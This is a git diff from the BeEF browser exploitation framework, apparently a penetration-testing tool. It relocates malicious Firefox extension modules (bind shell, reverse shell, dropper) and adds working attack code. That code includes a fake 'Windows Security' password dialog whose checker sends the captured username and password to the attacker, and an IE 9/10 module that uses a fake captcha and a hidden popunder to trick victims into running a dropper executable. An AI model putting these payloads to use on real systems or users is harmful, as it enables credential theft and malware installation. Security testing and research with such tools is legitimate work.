description: "Create on the fly a malicious Firefox extension that binds a shell to a specified port.<br/><br/>The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit."
|
||||
authors: ["antisnatchor", "bcoles"]
|
||||
@@ -38,7 +38,7 @@ class Firefox_extension_bindshell < BeEF::Core::Command
|
||||
end
|
||||
end
|
||||
|
||||
mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_bindshell"
|
||||
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell"
|
||||
extension_path = mod_path + "/extension"
|
||||
|
||||
# clean the build directory
|
||||
@@ -65,7 +65,7 @@ class Firefox_extension_bindshell < BeEF::Core::Command
|
||||
|
||||
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition)
|
||||
bind_extension = Firefox_extension_bindshell::Bind_extension
|
||||
bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_bindshell/extension/#{@xpi_name}.xpi"
|
||||
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell/extension/#{@xpi_name}.xpi"
|
||||
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
|
||||
BeEF::Core::Server.instance.remap
|
||||
end
|
||||
@@ -7,7 +7,7 @@ beef:
|
||||
module:
|
||||
firefox_extension_dropper:
|
||||
enable: true
|
||||
category: ["Exploits", "Local Host"]
|
||||
category: ["Social Engineering"]
|
||||
name: "Firefox Extension (Dropper)"
|
||||
description: "Create on the fly a malicious Firefox extension that embeds a dropper you can specify (add it to the 'dropper' directory). <br/><br/> The extension is based on the original work from Michael Schierl and his Metasploit module."
|
||||
authors: ["antisnatchor"]
|
||||
@@ -35,7 +35,7 @@ class Firefox_extension_dropper < BeEF::Core::Command
|
||||
end
|
||||
end
|
||||
|
||||
mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_dropper"
|
||||
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_dropper"
|
||||
extension_path = mod_path + "/extension"
|
||||
|
||||
# clean the build directory
|
||||
@@ -75,7 +75,7 @@ class Firefox_extension_dropper < BeEF::Core::Command
|
||||
|
||||
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition)
|
||||
bind_extension = Firefox_extension_dropper::Bind_extension
|
||||
bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_dropper/extension/#{@xpi_name}.xpi"
|
||||
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_dropper/extension/#{@xpi_name}.xpi"
|
||||
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
|
||||
BeEF::Core::Server.instance.remap
|
||||
end
|
||||
@@ -7,7 +7,7 @@ beef:
|
||||
module:
|
||||
firefox_extension_reverse_shell:
|
||||
enable: true
|
||||
category: ["Exploits", "Local Host"]
|
||||
category: ["Social Engineering"]
|
||||
name: "Firefox Extension (Reverse Shell)"
|
||||
description: "Create on the fly a malicious Firefox extension that makes a reverse shell connection to a specified host:port.<br/><br/>The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit."
|
||||
authors: ["antisnatchor", "bcoles"]
|
||||
@@ -41,7 +41,7 @@ class Firefox_extension_reverse_shell < BeEF::Core::Command
|
||||
end
|
||||
end
|
||||
|
||||
mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_reverse_shell"
|
||||
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_reverse_shell"
|
||||
extension_path = mod_path + "/extension"
|
||||
|
||||
# clean the build directory
|
||||
@@ -68,7 +68,7 @@ class Firefox_extension_reverse_shell < BeEF::Core::Command
|
||||
|
||||
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition)
|
||||
bind_extension = Firefox_extension_reverse_shell::Bind_extension
|
||||
bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_reverse_shell/extension/#{@xpi_name}.xpi"
|
||||
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_reverse_shell/extension/#{@xpi_name}.xpi"
|
||||
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
|
||||
BeEF::Core::Server.instance.remap
|
||||
end
|
||||
@@ -77,9 +77,9 @@ beef.execute(function() {
|
||||
|
||||
// Check whether the user has entered a user/pass and pressed ok
|
||||
function checker(){
|
||||
uname1 = document.body.lastChild.getElementsByTagName("input")[0].value;
|
||||
pass1 = document.body.lastChild.getElementsByTagName("input")[1].value;
|
||||
valcheck = document.body.lastChild.getElementsByTagName("input")[3].value;
|
||||
uname1 = document.getElementById("uname").value;
|
||||
pass1 = document.getElementById("pass").value;
|
||||
valcheck = document.getElementById("buttonpress").value;
|
||||
|
||||
if (uname1.length > 0 && pass1.length > 0 && valcheck == "true") {
|
||||
// Join user/pass and send to attacker
|
||||
@@ -94,9 +94,9 @@ beef.execute(function() {
|
||||
$j('#darkenScreenObject').remove();
|
||||
|
||||
}else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true"){
|
||||
// If user has not entered any data reset button
|
||||
document.body.lastChild.getElementsByTagName("input")[3].value = "false";
|
||||
alert("Please enter a valid username and password.");
|
||||
// If user has not entered any data, reset button
|
||||
document.body.lastChild.getElementById("buttonpress").value = "false";
|
||||
alert("Please enter a valid username and password.");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -163,6 +163,51 @@ beef.execute(function() {
|
||||
credgrabber = setInterval(checker,1000);
|
||||
}
|
||||
|
||||
// Windows floating div
|
||||
function windows() {
|
||||
sneakydiv = document.createElement('div');
|
||||
sneakydiv.setAttribute('id', 'popup');
|
||||
sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:#ffffff;border-radius:6px;');
|
||||
document.body.appendChild(sneakydiv);
|
||||
|
||||
// Set appearance using styles, maybe cleaner way to do this with CSS block?
|
||||
|
||||
// Set window border
|
||||
var edgeborder = 'style="border:1px #000000 solid;border-radius:6px;"';
|
||||
var windowborder = 'style="width:400px;border: 7px #CFE7FE solid;border-radius:6px;"';
|
||||
|
||||
var windowmain = 'style="border:1px #000000 solid;"';
|
||||
|
||||
var titlebarstyle = 'style="background:#CFE7FE;height:19px;font-size:12px;font-family:Segoe UI;"';
|
||||
var titlebartext = 'Windows Security';
|
||||
|
||||
var promptstyle = 'style="height:40px;"';
|
||||
var titlestyle = 'style="align:left;font-size:14px;font-family:Segoe UI;margin:10px 15px;line-height:100%;color:0042CE;"';
|
||||
var title = 'Enter Network Password';
|
||||
var bodystyle = 'style="align:left;font-size:11px;font-family:Segoe UI;margin:10px 15px;line-height:170%;"';
|
||||
var body = 'Enter your password to connect to the server';
|
||||
var dividestyle = 'style="border-bottom:1px solid #DFDFDF;height:1px;width:92%;margin-left:auto;margin-right:auto;"';
|
||||
|
||||
var tablestyle = 'style="background:#CFE7FE;width:90%;margin-left:auto;margin-right:auto;border:1px solid #84ACDD;border-radius:6px;height:87px"';
|
||||
var logobox = 'style="border:4px #84ACDD solid;border-radius:7px;height:45px;width:45px;background:#ffffff"';
|
||||
var logo = 'style="border:1px #000000 solid;height:43px;width:42px;background:#CFE7FE;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#EEF2F4, endColorstr=#CCD8DF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFE7FE));background: -moz-linear-gradient(top, #EEF2F4, #CCD8DF);"';
|
||||
|
||||
var inputboxstyle = 'style="width:140px;font-size:11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#666666;color:#000000;border-radius:3px;"';
|
||||
|
||||
var credstextstyle = 'style="font-size:11px;font-family:Segoe UI;"';
|
||||
|
||||
var buttonstyle = 'style="font-size: 13px;background:#069;color:#000000;border: 1px #29447e solid;padding: 3px 3px 3px 3px;margin-right:5px;border-radius:5px;width:70px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#CFCFCF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFCFCF));background: -moz-linear-gradient(top, #ffffff, #CFCFCF);"';
|
||||
var buttonLabel = '<input type="button" name="ok" value="OK" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
|
||||
|
||||
var bbarstyle = 'style="background-color:#F0F0F0;padding:8px;text-align:right;border-top: 1px solid #DFDFDF;height:28px;margin-top:10px;"';
|
||||
|
||||
// Build page including styles
|
||||
sneakydiv.innerHTML= '<div id="edge" '+edgeborder+'><div id="window_container" '+windowborder+ '><div id="title_bar" ' +titlebarstyle+ '>' +titlebartext+ '</div><div id="windowmain" ' +windowmain+ '><div id="prompt" '+promptstyle+'><p><span ' +titlestyle+ '>' +title+ '</span><br/><span ' +bodystyle+ '>' + body + '</span></div><div id="divide" ' +dividestyle+ '></div></p><table ' +tablestyle+ '><tr><td rowspan="3" width=75px align="center"><div id="logobox" ' +logobox+ '><div id="logo" ' +logo+ '></div></div></td><td align="left"><input type="text" id="uname" placeholder="User name" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="left"><input type="password" id="pass" name="pass" placeholder="Password" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td><input type="checkbox"><span ' +credstextstyle+ '>Remember my credentials</span></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div></div>';
|
||||
|
||||
// Repeatedly check if button has been pressed
|
||||
credgrabber = setInterval(checker,1000);
|
||||
}
|
||||
|
||||
// YouTube floating div
|
||||
function youtube() {
|
||||
|
||||
@@ -252,6 +297,8 @@ beef.execute(function() {
|
||||
facebook(); break;
|
||||
case "LinkedIn":
|
||||
linkedin(); break;
|
||||
case "Windows":
|
||||
windows(); break;
|
||||
case "YouTube":
|
||||
youtube(); break;
|
||||
case "Yammer":
|
||||
|
||||
@@ -10,7 +10,7 @@ class Pretty_theft < BeEF::Core::Command
|
||||
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
logo_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/beef.png"
|
||||
return [
|
||||
{'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'],['LinkedIn'],['YouTube'],['Yammer'],['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },
|
||||
{'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'],['LinkedIn'],['Windows'],['YouTube'],['Yammer'],['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },
|
||||
|
||||
{'name' => 'backing', 'type' => 'combobox', 'ui_label' => 'Backing', 'store_type' => 'arraystore', 'store_fields' => ['backing'], 'store_data' => [['Grey'],['Clear']], 'valueField' => 'backing', 'value' => 'Grey', editable: false, 'displayField' => 'backing', 'mode' => 'local', 'autoWidth' => true },
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
* See the file 'doc/COPYING' for copying permission
|
||||
*/
|
||||
|
||||
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
||||
beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
|
||||
$j(document).attr('title', $j(this).html());
|
||||
document.body.scroll = 'no';
|
||||
document.documentElement.style.overflow = 'hidden';
|
||||
|
||||
File diff suppressed because one or more lines are too long
113
modules/social_engineering/ui_abuse_ie/command.js
Normal file
113
modules/social_engineering/ui_abuse_ie/command.js
Normal file
@@ -0,0 +1,113 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
if(beef.browser.isIE()){
|
||||
|
||||
var captcha_message = "";
|
||||
var tab_message = "";
|
||||
var captcha_src = "";
|
||||
// TODO this image is either corrupted or simply thew GIF animation doesn't work
|
||||
var blink_src = "data:image/gif;base64,R0lGODdhIAF3ALMAAAAAAEqN/3Wo/8TExMzMzNXV1eXl5fPz8////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkyAAkALAAAAAAgAXcAAAT/EMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv/8CgcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXPgIBm5ydnp+goaKjpKWmp6ipqqusra6vsAEaAQMEtre4ubq7vL2+v8DBwsPExcbHyMnKy7MFBs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+SzBgeY6RwBBuruGezv8hXx8/b19vL4+e77/On+/l0KKLASwYKTDiKMpHDho4YOG0GMuGgixUQWLx7KqLEQx46D9T6CDCRy5J+SJvugTLlnJcs8Ll/eYYdOZiJNsXLq3Mmzp8+fQGPZHEq0qNGjSJMqXcq0qdOnUKNKnUq1qtWrWC8k2Mq1q9evYMOKHUu2rNmzaNOqXcu2rdu3cOPKnUu3rt27ePPq3cu3r9+/gAMLHky4sOHDiBMrXsy4sePHkCNLnky5suXLmDNr3sy5s+fPoEOLHk26tOnTqFOrXs26tevXsGPLnk27tu3buHPr3s27t+/fwIMLH068uPHjyJMrX868ufPn0KNLn069uvXr2LNr3869u/fv4MOLH0++vPnz6NOrX8++vfv38OPLn0+/vv37yCMAACH5BAkyAAkALAAAAAAgAU0AAAT/EMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv/8CgcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXPgIBm5ydnp+goaKjpKWmp6ipqqusra6vsAEaAQMEtre4ubq7vL2+v8DBwsPExcbHyMnKy7MFBs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+SzBgeY6RwBBuruGezv8hXxGADzlvUX9/iU+hb8+kn6VyGgQEgEKRg86CjhhIUMGTmUADGiookIKlpEhFHjRkMdVz82CilyEcmSiU6iPKRyZaGWLgfBjBloJs0/Nm/2wajzZbueEn8CvXhuqCJNsZIqXcq0qdOnUGMZnUq1qtWrWLNq3cq1q9evYMOKHUu2rNmzaNOqXTsiAgA7";
|
||||
|
||||
switch (beef.browser.getBrowserLanguage().substring(0,2)){
|
||||
case "en":
|
||||
lang = "en";
|
||||
captcha_message = "<h2>Our systems have detected unusual traffic from your computer network.</h2><br><h3> In order to continue, please solve the following Captcha after <b>pressing the [TAB] key</b>:</h3>";
|
||||
tab_message = "You must press the [TAB] key first, then solve the Captcha.";
|
||||
captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAgMGAf/EAC4QAAEEAgEDAwMCBwEAAAAAAAABAgMEBRESBjFBEyFRFDJxIiMVFkJSYnKRgf/aAAgBAQAAPwDrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARr12Kixr5toxy638Ehj2yMR7FRWqm0VD0AAAAAAAAAAAAFVey8lCw5s9GZYE7TR/qTt5Twb6+Xx9iNHx2o9L4culJjJGSN5Me1yfKLsyMHyxx/fI1v5U0W8hWqRJLLInF3bXvsprHVtZiqyKCRz/CKmtlY7qXLNstV0HFir9nHuhvylm9k8oynVesSI1FXwZyVsxhYPqW2vqGN+9i/BlHBLn6j3xXXNa77onpvipGx2SyWOsrjHRtmVi6airr/h0dfJq6NzrNaWBze6Km0IEvUcVe61j3Nkrv7Pb3b+ULyKaOZiPiejmr7oqKZgGmzagqM52JGxt+VPa1mG1GkkEjZGfKKbQAAAAAAAARcm9rcbbVXfbE7evwcfgen4cnQknkmc1+1a1G+PyTMRgcjXtyQzyObVciormP1v40R87TmxtmCKnasOfL/c8zn6ZyMsTZFtLJIvdrl7F9hcWtOi2G0rZXIu/f30c7kJ6kfVPKVE9Jipv4OtqzVLsaSwcJGp2XXYpM7Xu1skzIUYuaomnIiGp+Wylys+v/AA13J6a34JnS+Ls4+KR1nTVk7NTwV/VcEtXIQ5CFqr86MIOrJpLMTHwJ6a+zk8l3matOTFzSvgai8NoutKhQdN0Es1ZJHW5YeK6arXaL29amx2PjZHKs8z14tc49hht+hztZJGvVN/p1pCNislYuy2KL5UV7E/TMxCrbUvZHLrSs2PWhgdycqkl0seD6hbDEvCvMicm79kOqY5r2o5qoqL2VD0AAAAAAAAo8r06y698texJA9++SbVWu/wDCuxuHzOItp9O6OWFyor05aRx0l6y+pX9VleSwqL9kfc4nLXLuSyMdqGnNF6TdIitVfPc63CWb1msrr1b0V/p/yT8DJ079t3GvcSvF5RG+/wD0gwdKU2u52ZJJ372qqutl3Xrw1o0jgjaxqeEQ2jSAxkjZI1Wvajmr4VCOzG0mORza8aKi7RdGGXqvt46WCJdOcnscZFg8wn7TWOaxV9/f2LC1W+nyFSG/I5a8bNK7xsmWEwrNMja6zI7sxjlUyderYmJ0MFNyWXpvhG3evypGwUGXiSeVIGsdKu+UndVNv8sy3LP1OStc3r3axDo4IWQQtijTTWppDMAAAAAAAAAAAAAAAGuevDYZwmja9vwqGMFStWT9iBkf+qGzgzly4pv50ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//9k=";
|
||||
break;
|
||||
case "it":
|
||||
lang = "it";
|
||||
captcha_message = "<h2>I nostri sistemi hanno rilevato traffico inusuale proveniente dal tuo computer.</h2><br><h3> Per continuare, risolvi il seguente Captcha <b>dopo aver premuto il tasto [TAB]</b>:</h3>";
|
||||
tab_message = "Devi prima premere il tasto [TAB], poi risolvere il Captcha.";
|
||||
captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAMBAQEAAAAAAAAAAAAAAAMEBQIBBv/EADAQAAEEAgAEBQIFBQEAAAAAAAABAgMEBREGEhMhIjEyQVEVcRRCUmGRIzNygbHh/9oACAEBAAA/APrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ1/M06M7YJFc6VfysbtUJoMlVnc1rZOVzvJr05VX+S2ARyzxRJuSRrfupHDeqzqqRTMe5PZF7mYnEUS5BlV1aVnO7l5nJpBlbuWrSPfXrxvgZ35lXupdxuQ+oY9LEbU6mu7d+5Rk4iZVldFfrSQPTy90cd1eJKM/q54k/U5vb+TWjljkjSRj0cxfdFOmua70uRfsp6AAAAAAAAAAAD5WJ15vEtrUMDp3RtVEf22iInkpLnLVmWk6ObFzNkTuyRjkcjVT32hAzI37ENOm6dKr3xq6SV/ZdIqohesMq16jl+sSdVE2jlm33+xVpZ2w7ETSyKjnsdyNevbf7ndCSnGnVk6l2y7uumqqJ+xGlG1bzMVlldtRiLtUVe7k+x1xLPHFkqTV01WrzK49zHEUa13QU2rM9W6VyJ2QqcKZKOs2SGdHorl2nh7HHEeRqXLlbpuR7GO8e2mtemxq4R6MWJGqzwp77IuDZurjXxOXfK5eyr7EeUh/AZOslKZ7HSv8TN7Q1MrNkK0aTVum5jW7cjjvC5F2RqdZ8fIqLpfgiuZ+nVn6CK6WT9MabKbuKq8cyRy15Wb/AFIT5fMLDFHFRb1LMyba1PZPkxbbs9j4Uu2LOvFrp7PqsZZdboRTvbyue3aoWgAAAAAAACnex8dtWybWOeP+3K1dK3/wz5mcRORImPqonksqea/6IMji5o71a+sP41GsRk7NJt3b1IhxNfwqR8tXHNmsL2SJIdKi/v2LF3FT3sPExGRwTtXn6bU037HcMuYZGldlCFjkTXU5/CW6GOdBIs9mZZ7DvdfJPshPbx9W4qLYha9U8lU9hpVYG8sUDGovwhI2vCz0xMT7IROx9N67dXjVf8StdwdG41EfHy6TScvbRHicHFi5nvile5HflXyMfIPsUs++3NXfOzXgRE8infz9zIyJT5Urseunb8zUzE30jCw1qrkRZO3Mn/Szg6VGjTbZfLG+R6bdI5TOkTG3shPa5JZmRNVyuX09iviM1TgtSzzxPdM9dN5U3pPhDSsQ2+IJmc8Tq1Ni78fqcfRRRtiibGxNNamkOgAAAAAAAAAeI1qLtGpv50egAAAHioi+aIpRs4ahal6s1dqv+U7HGTw1bIwMiftnJ6Vb7FKtwpUid/Vmlmank1V0hsx1K8UHQZCxsfu1E7KRw46lA7mirRtd8o0tAAAAAAAAAAAAAAAAAAAAAAAAAAAAH//Z";
|
||||
break;
|
||||
default:
|
||||
// defaults to english
|
||||
lang = "en";
|
||||
captcha_message = "<h2>Our systems have detected unusual traffic from your computer network.</h2><br><h3> In order to continue, please solve the following Captcha after pressing the [TAB] key:</h3>";
|
||||
tab_message = "You must press the [TAB] key first, then solve the Captcha.";
|
||||
captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAgMGAf/EAC4QAAEEAgEDAwMCBwEAAAAAAAABAgMEBRESBjFBEyFRFDJxIiMVFkJSYnKRgf/aAAgBAQAAPwDrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARr12Kixr5toxy638Ehj2yMR7FRWqm0VD0AAAAAAAAAAAAFVey8lCw5s9GZYE7TR/qTt5Twb6+Xx9iNHx2o9L4culJjJGSN5Me1yfKLsyMHyxx/fI1v5U0W8hWqRJLLInF3bXvsprHVtZiqyKCRz/CKmtlY7qXLNstV0HFir9nHuhvylm9k8oynVesSI1FXwZyVsxhYPqW2vqGN+9i/BlHBLn6j3xXXNa77onpvipGx2SyWOsrjHRtmVi6airr/h0dfJq6NzrNaWBze6Km0IEvUcVe61j3Nkrv7Pb3b+ULyKaOZiPiejmr7oqKZgGmzagqM52JGxt+VPa1mG1GkkEjZGfKKbQAAAAAAAARcm9rcbbVXfbE7evwcfgen4cnQknkmc1+1a1G+PyTMRgcjXtyQzyObVciormP1v40R87TmxtmCKnasOfL/c8zn6ZyMsTZFtLJIvdrl7F9hcWtOi2G0rZXIu/f30c7kJ6kfVPKVE9Jipv4OtqzVLsaSwcJGp2XXYpM7Xu1skzIUYuaomnIiGp+Wylys+v/AA13J6a34JnS+Ls4+KR1nTVk7NTwV/VcEtXIQ5CFqr86MIOrJpLMTHwJ6a+zk8l3matOTFzSvgai8NoutKhQdN0Es1ZJHW5YeK6arXaL29amx2PjZHKs8z14tc49hht+hztZJGvVN/p1pCNislYuy2KL5UV7E/TMxCrbUvZHLrSs2PWhgdycqkl0seD6hbDEvCvMicm79kOqY5r2o5qoqL2VD0AAAAAAAAo8r06y698texJA9++SbVWu/wDCuxuHzOItp9O6OWFyor05aRx0l6y+pX9VleSwqL9kfc4nLXLuSyMdqGnNF6TdIitVfPc63CWb1msrr1b0V/p/yT8DJ079t3GvcSvF5RG+/wD0gwdKU2u52ZJJ372qqutl3Xrw1o0jgjaxqeEQ2jSAxkjZI1Wvajmr4VCOzG0mORza8aKi7RdGGXqvt46WCJdOcnscZFg8wn7TWOaxV9/f2LC1W+nyFSG/I5a8bNK7xsmWEwrNMja6zI7sxjlUyderYmJ0MFNyWXpvhG3evypGwUGXiSeVIGsdKu+UndVNv8sy3LP1OStc3r3axDo4IWQQtijTTWppDMAAAAAAAAAAAAAAAGuevDYZwmja9vwqGMFStWT9iBkf+qGzgzly4pv50ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//9k=";
|
||||
break;
|
||||
}
|
||||
|
||||
var grayOut = function(vis, options) {
|
||||
var options = options || {};
|
||||
var zindex = options.zindex || 50;
|
||||
var opacity = options.opacity || 70;
|
||||
var opaque = (opacity / 100);
|
||||
var bgcolor = options.bgcolor || '#000000';
|
||||
var dark=document.getElementById('darkenScreenObject');
|
||||
if (!dark) {
|
||||
var tbody = document.getElementsByTagName("body")[0];
|
||||
var tnode = document.createElement('div');
|
||||
tnode.style.position='absolute';
|
||||
tnode.style.top='0px';
|
||||
tnode.style.left='0px';
|
||||
tnode.style.overflow='hidden';
|
||||
tnode.style.display='none';
|
||||
tnode.id='darkenScreenObject';
|
||||
tbody.appendChild(tnode);
|
||||
dark=document.getElementById('darkenScreenObject');
|
||||
}
|
||||
if (vis) {
|
||||
var pageWidth='100%';
|
||||
var pageHeight='100%';
|
||||
dark.style.opacity=opaque;
|
||||
dark.style.MozOpacity=opaque;
|
||||
dark.style.filter='alpha(opacity='+opacity+')';
|
||||
dark.style.zIndex=zindex;
|
||||
dark.style.backgroundColor=bgcolor;
|
||||
dark.style.width= pageWidth;
|
||||
dark.style.height= pageHeight;
|
||||
dark.style.display='block';
|
||||
} else {
|
||||
dark.style.display='none';
|
||||
}
|
||||
};
|
||||
|
||||
function spawnPopunder(){
|
||||
var url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/underpop.html'
|
||||
var pu = window.open(url,'','top=0, left=0,width=500,height=500');
|
||||
pu.blur();
|
||||
}
|
||||
|
||||
// The keypress focus is on the popunder, but the following would be nice to have to force the victim to press TAB
|
||||
// var tab_pressed = false;
|
||||
// function checkTabPressed(){
|
||||
// console.log(event.keyCode);
|
||||
// if(tab_pressed && event.keyCode != 9){
|
||||
// // all good
|
||||
// }else if(event.keyCode == 9){
|
||||
// tab_pressed = true;
|
||||
// }else{
|
||||
// alert(tab_message);
|
||||
// }
|
||||
// }
|
||||
|
||||
if(beef.browser.isIE9() || beef.browser.isIE10()){
|
||||
document.body.onclick = function(){
|
||||
spawnPopunder();
|
||||
|
||||
grayOut(true,{'opacity':'70'});
|
||||
|
||||
var fake_captcha = document.createElement('div');
|
||||
fake_captcha.setAttribute('id', 'popup');
|
||||
fake_captcha.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');
|
||||
fake_captcha.setAttribute('align', 'center');
|
||||
// using onkeydown because onkeypress is not capturing TAB in IE
|
||||
//fake_captcha.onkeydown = function(){checkTabPressed();};
|
||||
document.body.appendChild(fake_captcha);
|
||||
fake_captcha.innerHTML= '<br>' + captcha_message + '<table border=\'0\'><tr><td><img src="' + blink_src + '"></td><tr><td><img src="' + captcha_src + '"></td></tr></table>';
|
||||
|
||||
};
|
||||
}else{
|
||||
// unsupported IE version
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
16
modules/social_engineering/ui_abuse_ie/config.yaml
Normal file
16
modules/social_engineering/ui_abuse_ie/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
ui_abuse_ie:
|
||||
enable: true
|
||||
category: "Social Engineering"
|
||||
name: "User Interface Abuse (IE 9/10)"
|
||||
description: "This module is based on Rosario Valotta research (https://sites.google.com/site/tentacoloviola/).<br> The executable to be run needs to be signed (best thing is signing it with Symantec EV-SSL) and me served same-origin from BeEF. You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt.<br> The victim is tricked to press [TAB]+R (IE 9) or simply R (IE 10), which are keyboard shortcuts for the modeless dialog option 'Run'. Depending on the browser language, the modeless dialog shortcuts are different. For example, R for English, E for Italian. In order to achieve such behavior, a fake captcha is displayed."
|
||||
authors: ["Rosario Valotta", "antisnatchor"]
|
||||
target:
|
||||
working: ["IE"]
|
||||
not_working: ["ALL"]
|
||||
43
modules/social_engineering/ui_abuse_ie/module.rb
Normal file
43
modules/social_engineering/ui_abuse_ie/module.rb
Normal file
@@ -0,0 +1,43 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
################################################################################
|
||||
# Based on the PoC by Rosario Valotta
|
||||
# Ported to BeEF by antisnatchor
|
||||
# For more information see: https://sites.google.com/site/tentacoloviola/
|
||||
################################################################################
|
||||
class Ui_abuse_ie < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'exe_url', 'ui_label' => 'Executable URL (MUST be signed)', 'value' => 'http://beef_server:beef_port/yourdropper.exe'}
|
||||
]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
begin
|
||||
|
||||
